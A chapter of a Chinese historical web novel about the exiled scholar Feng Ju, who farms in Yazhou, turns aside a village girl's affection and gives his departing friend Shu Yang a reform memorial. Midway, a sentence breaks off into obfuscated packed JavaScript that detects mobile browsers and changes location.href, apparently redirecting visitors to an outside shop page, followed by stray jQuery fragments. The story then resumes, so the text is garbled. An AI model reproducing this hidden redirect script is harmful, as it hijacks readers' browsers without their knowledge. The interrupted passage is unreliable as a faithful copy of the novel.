寒来暑往，两年转瞬便过。
乡间瘦路上，一名约莫十二三岁，头梳双髻的少女手上拎着用稻草串的兔肉，哼着小曲，踩着雀步朝东边走去。眼见出了村子，她隔老远便用乡音甚浓的官话喊道：“冯大哥！我来给你送野兔子！”
田地里站起一个瘦高的年轻男人，头发用布巾裹着，脚陷在潮湿的土壤里，手上裹了厚厚的青泥。
少女举起手臂，这才叫人看清她手上还拎着半只剥好的野兔，“你看，这是我阿翁在地里抓的，这一半给你吃，做先前帮忙收稻的答谢。还要谢你教我和我阿弟官话，教我们识字。”
说话间，走得近了，男人瘦削的五官愈发清晰。因着大病方愈，他的嘴唇有些干裂，不见血色，眼窝深陷，一双眼却明亮有神。
男人见风咳了两声，说道：“我一个人也吃不下，你拿回去吧，给你阿弟补补身子。”
少女就知道他会拒绝，忙按阿翁吩咐的说道：“这个给你吃，我们家还要请你去地里看看哩。”
“地里怎么了？”
“还不是十一月的时候种的稻子，都按你说的弄的，本来都好，昨天下了一场急雨，忽然黄了一片，还长了一茬野草，我们不敢擅动，请你去看看。”
“好，我这就去看看。”
冯矩说着，行到不远的河边净了手。少女跟上，抬头看着天色，有些迟疑。她出门前太阳还挂在西天，不想才一会儿工夫，就起了厚厚的鳞片样子的云，俗话说：鱼鳞云，不雨也风颠。恐怕是要下雨，去他们家地里来不及了。
这么想着，少女就说了出来。冯矩把湿漉漉的手在腰间汗巾上擦干，抬头望了眼，只见满天云大片如鳞，渐合成浓阴，不由笑了起来：小姑娘事农日头短，有些天时还不会分辨。
“不碍事，这是老鲤斑云，不会下雨。”
男人平素虽温和，却鲜少有笑的时候，这一笑起来，眉头舒展，眼角露了两道浅细的皱纹，每一道都似风霜写就的故事。偏眼眸润泽如洗，盈着笑意，清亮宛然。
少女呆呆地看着，感觉被路过的风轻柔地撞了一下，说出口的话都变结巴了：“你，你……”
冯矩耐心倾听，不想少女忽然不肯说了，一扭头朝着远处的田地跑了过去。冯矩吓了一跳，脱口喊道：“禾五娘，小心点！”
替禾家看完地里的情况，回到村子已经快要入夜。今夜有云无月，这里的人家点不起油灯，回去一路愈发黝黑，冯矩让禾五娘牵着他衣角，领着人摸黑回村，幸好天还没黑透，眼睛尚能视物，路不长，很快就到了村头，遇上两道人影提着两盏风灯迎面走过来。
来的两个人，其中一个是禾五娘的阿翁。两年前的雪灾饿死了禾五娘的双亲和两个哥哥，姐姐嫁出去换了口粮，剩下的祖孙相依为命，感情十分深厚。
这不，眼见家里唯一的小娘子天黑了还没回，禾家阿翁放心不下，借了灯出村接人。
“阿翁！”
看到亲人，换到往常，禾五娘早就跑了过去，今日也不知是不是因为天黑吓破了胆，竟一动不动，直到冯矩温声道了句“快家去吧”，她还依依不舍地站着。
“冯，冯大哥……”
“嗯？”
禾五娘一鼓作气问道：“你今年多大啦？”
冯矩叹了口气，答道：“不到而立。”
“而立？而立是多大？”
“三十。”
“那你才二十多嘛，我听阿翁说，你才二十六，是不是？”
“是。我也听你阿翁说过，你今年才十二，我比你大一轮有余。”
禾五娘咬唇，不服道：“那怎么了，村里老夫少妻多的是，你未娶……”
“我已娶妻。”冯矩打断她。
这时，见他俩站在村口久久不动，来接人的禾家阿翁和另一人已经走了过来。禾家阿翁耳朵不好，没听到两人对话，倒是另一个人，惊诧地看向冯矩。
禾五娘眼睛唰的一下便红了。
“你骗人！我没见过你有妻子！她是不是已经死了？我可以给你做填……”
还没说完，禾家阿翁终于听明白是怎么个事了，铁青着脸，举起拐杖啪的一下就抽了下来。
“说的什么浑话！这些话也是你个姑娘家家能说的？冯郎君，对不住啊，我这孙女年纪小，说的话你别放在心上。”
“不碍事，”冯矩直起身，慢慢地道，“我没有骗人，五娘，跟你阿翁家去吧。”
禾家翁是个精神矍铄的老农，牵着孙女的手，因田地的事对冯矩千恩万谢。冯矩回过老人家，又叮嘱完田地里的事，方目送祖孙离去。
祖孙俩走得慢，过了一会儿，冯矩耳边还能听到禾家翁训诫孙女的乡音：“不是要你带话，让冯先生明儿再去地里看，大夜里的，能看到什么，多危险哪……”
话语声很快弥散在夜色里。
剩下一道人影提着风灯陪着冯矩站了一会儿，忽然说道：“这禾家五娘子竟对你有意，上回来我都没瞧出来。什么时候的事？”
冯矩想要接过风灯，那人不让：“你手里还有东西，我来拿吧。”
“地不平，你对这儿的路不熟。”
闻言，那人便松了手。冯矩用空着的手提灯，转身向村子另一头走去。
女儿家心思单纯，不知遮掩，他晚上也觉出点什么来，于是有意疏远，只是回村的时候天黑了，田间路窄，两侧都是河沟，唯恐踩空了出事，这才让小姑娘拽着他衣服走，没想到平白生出误会。
“我也不知道，”冯矩颇为无奈，又道，“日后我离她远点。”
“离远点做什么，反正你还没娶妻。”
冯矩没有说话，好似没听到。那人便也不再说这话。安静地并行了一会，那人才又道：“你手里拎的什么？”
“禾家翁给的野兔，明日你来，烧给你吃。”
“明日我本就要来，明日是先帝的大祥之日，禁酒食，你该不会忘了吧。既曾为人臣，便该循礼，祭他老人家一程。”
冯矩竟怔了一下，这一句话，一下子将他带回了八方风雨的两年前。
他们慢慢走过一座座村舍，风灯照亮的屋舍门上贴着崭新的对联，这些对联均是前不久过年乡亲们请冯矩手写。
跨过地上的一个土坑，又走出两步，冯矩才开口，话忽然短了，“是。我是忘了。既如此，这兔肉后日再吃罢。”
说到这里，也就走到了屋子前。
两栋土坯为墙、茅草覆顶的农舍，屋前围着一圈篱笆，篱笆里种着些蔬菜。两个屋子，一个用来烧灶，另一个则作起居用，十分简陋。
冯矩把风灯熄了挂在屋外墙上，推门入内，点了油灯。另一个人已经在靠墙的方桌旁坐下，等着油灯端来，往自己的方向拨了拨。
火光明亮，映出一张同样饱经风霜的脸庞。
两年前，束首辅身死的消息传出时，束阳正游历至海南岛琼州府，后来见到雪灾的惨景，歇了游山玩水的心思，去了琉球记事，回来后乘船到了崖州，在其下一座县衙里找了个文吏做，一直没有离开。
说来也巧，做了大半年的文吏后，他竟在这里遇到了去衙门报备行踪的冯矩。
他乡遇故知，本是人生四喜之一。只可惜命运弄人，冯矩手刃束继文，束阳虽猜到其中或有情由，到底让人如鲠在喉。
是故再次相见，他们似敌似友，似亲似疏。但远离了朝堂这么久，很多浓烈情绪似乎也随距离淡却了，一年多过去，偶尔也可以坐在一起，谈谈文章，喝两盅米酒。
曾经的京城如一场繁华旧梦，也不知哪来的默契，他们自相遇后都不曾提及。
冯矩去厨房把兔肉腌好才回来。崖州虽长夏无冬，正月的温度还是低的。门一开，咸湿的海风刮将进来，将油灯火苗吹得张牙舞爪。
“少见你这么晚还过来找我。”
冯矩带上门，只见屋子里头，方桌上，束阳已经摆上了一叠纸，最上头写满了字。束阳把写了字的拿下来，露出下面崭新的纸。
“给你带了些纸，还有墨。还有这个，我写的《巨贾》最后一篇，你看看。”
冯矩在他对面坐下：“早说了让你不要破费，这里纸不便宜。”
束阳淡道：“我好歹还有点俸禄，虽然少，聊胜于无，总比你好，你种的地交了税连口饭都不够吃……纸再贵也要买，总不能不写字吧。”
冯矩接过文章，平声道：“那就不写了。”
“你！”束阳也不知被什么刺到了，勃然大怒，“你又说什么丧气话！？”
话还没说完，他看到冯矩捧着纸的手：皮肤粗糙黢黑，手背上有着翘起的干皮，指缝里还有一些青泥。不是他不爱干净，而是日复一日浸泡在水田里，有些青泥渗透了指甲，想洗也洗不去了。这一幕让束阳僵在原地，剩下的字再也说不出口。
他知道，冯矩这两年一直致力于帮助这里的农民，教他们更合时宜的耕种方式，为此还特地托他在书肆买了许多农术书籍，有时熬夜苦读一宿，只是为了想知道如何解决田里的稻苗叶片矮小的问题。
束阳重重地吐出一口气，生硬道：“这些我都买了，你要是用不上，就扔了吧。”
冯矩仔细读过他撰写的文章，润色一二，递还回去，道：“这些还不足以让你漏夜而来，还有什么事，一道说了吧。”
束阳也不想卖关子，但一见到冯矩，要说的事也不知为何总觉得说不出口。这对他来说是好事，可想顾及对方的心情，便越发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116319|193889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
觉得有些炫耀了。
可有些话总得说，踟蹰再三，他还是直言道：“我要回京了。圣人召我回去。”
冯矩果然怔住，但也只是一瞬，便真心实意地笑了起来：“好事啊，恭喜你。什么时候走？”
“越快越好，大祥之后便动身了。”
“这么快……喝酒么，我那儿正好有村民送的椰子酒，京城里没有，谅你来这两年整日板着个脸，也没人送你这个，怕是没喝过，”见束阳黑了脸，冯矩笑道，“我去拿过来，给你尝个鲜，也算给你践行。”
束阳看他说着便去拿酒，忍不住酸了句：“你倒是混得如鱼得水。”
冯矩莞尔，洗了两个碗，一人甄了半碗，一碰，说道：“祝你此行一路顺风。”
然后喝了。
又准备再甄，被束阳夺过酒壶，搁在一旁。
“行了，我不喝酒，喝一碗够了……你呢，圣人不会把你丢在这太久，你我总有再见的时候。”
“我？”冯矩喃喃。自己把半碗酒干了，看起来有些寂寥。
束阳心里也堵了起来，他终于说道：“你不欠我阿公的……那时候如果不是你站出来，他便功亏一篑了……其实我知道的。”飞快地说完这句，似是不适应这样的煽情，束阳很快站了起来，“这么晚我就不回去了，能否在你这借宿一宿……呃，你这儿还有地方睡么？”
冯矩抬头看他，微笑道：“要是不嫌弃，你我抵足而眠便是。对了，你等我一下。”
冯矩去到屋里头，不一会儿拿出手掌厚的一叠纸，最下面的已经泛黄，上面的颜色尚新。
“这是什么？”
束阳好奇地接过，看到排头写着《变法疏议》，下意识看了眼冯矩，不敢擅自翻看。直到冯矩催了一声，才正襟危坐，翻看了起来。
良久，束阳看完了，兀自沉浸在震惊之中，回味着看到的条条道道。
什么丈田开海、清吏革役、卫所改制、火器统造，等等，单一条拎出来都足以震惊朝野，更别说这里面写了足有二十来条。
起初看，是纸上谈兵，再看却又似乎可行，若贴合实际一条一条地去细思，才发觉乃革弊鼎新之良药，简直叫人如梦方醒。
只是如今的朝廷各部，早就形成了一张张利益网络，不可撼动，这里头的每一条变法，都能在朝廷上掀起血雨腥风，想要推行可谓难上加难。
“这，这是你什么时候写的？”
“就这两年里，得空便写一点。只是这里消息闭塞，久不闻庙堂之事，我这里面多是针对两年前的旧政所写，也许有的已经不可用，回头你可酌情修改一下。”
“你这是什么意思？什么叫回头‘我’可酌情修改？”
“我在流刑途中偶然听说，湖广矿税，实际收缴的每年都比前一年要多半成，但是最后到户部的却不见多。这些钱都哪儿去了？公卿积亿万，大夫积千金，百姓寒苦，流离于路，当是现实写照。这两年，新任圣上勤俭节流，却非长久计，国家之弊，弊在旧政，若要这颗病树长出新芽，必须要挖去朽根，改革势在必行……这篇疏议，只是我闭门造车，一得之见，未必合适，确实需要再做更改。”
“你不要避重就轻，”束阳瞪眼，“你知道我问的是什么。冯子规，你有本事写这么个东西，交给我是什么意思，你没有本事自己去实现吗！”
“我……？”冯矩自嘲一笑，眼神一瞬迷惘。
怎么会不想呢？现在齐朝，哪个读书人不曾做过挽大厦之将倾的英雄梦？若非无计可施，谁愿意把一腔心血托付给他人。
可是他被困在遥远的崖州啊，这里去京万万里，京直隶的公文，若非加急，要半年才能送到。
“这不是个容易的事。从前我听还是太子的当今和家翁夜谈，圣上就曾提过革新，可沉弊日苛，他是皇帝，要平衡各方势力，顾虑颇多，难以变法。这条路难走，需要有人做开路的刀，若是可以，我自当仁不让。檐臣，你若不敢……”
“谁说我不敢了。”束阳打断他，把《变法疏议》小心地用布裹好，塞到怀里。
忽然，他心头一动，想到方才冯矩的话。
湖广矿税的实际税额，岂是能随随便便就听到的，怕是跟当地百姓多方打听，旁敲侧击，再把各种数字慢慢拼凑，才能得出的结论罢。
束阳捻掉桌面上的一点灰尘，犹豫地开口：“你是不是想要打听盐运司的事情？当年贪墨一案，最后就那样定案了，你……”
说到这里，他才觉出自己好似在揭人伤疤，顿生后悔。
“不说了那些了，”冯矩站了起来，端起两只空碗，“时候不早了，你等我一会，我去把兔子腌了，然后烧点水。若是无聊，厢房里有一些书，你自便就是。”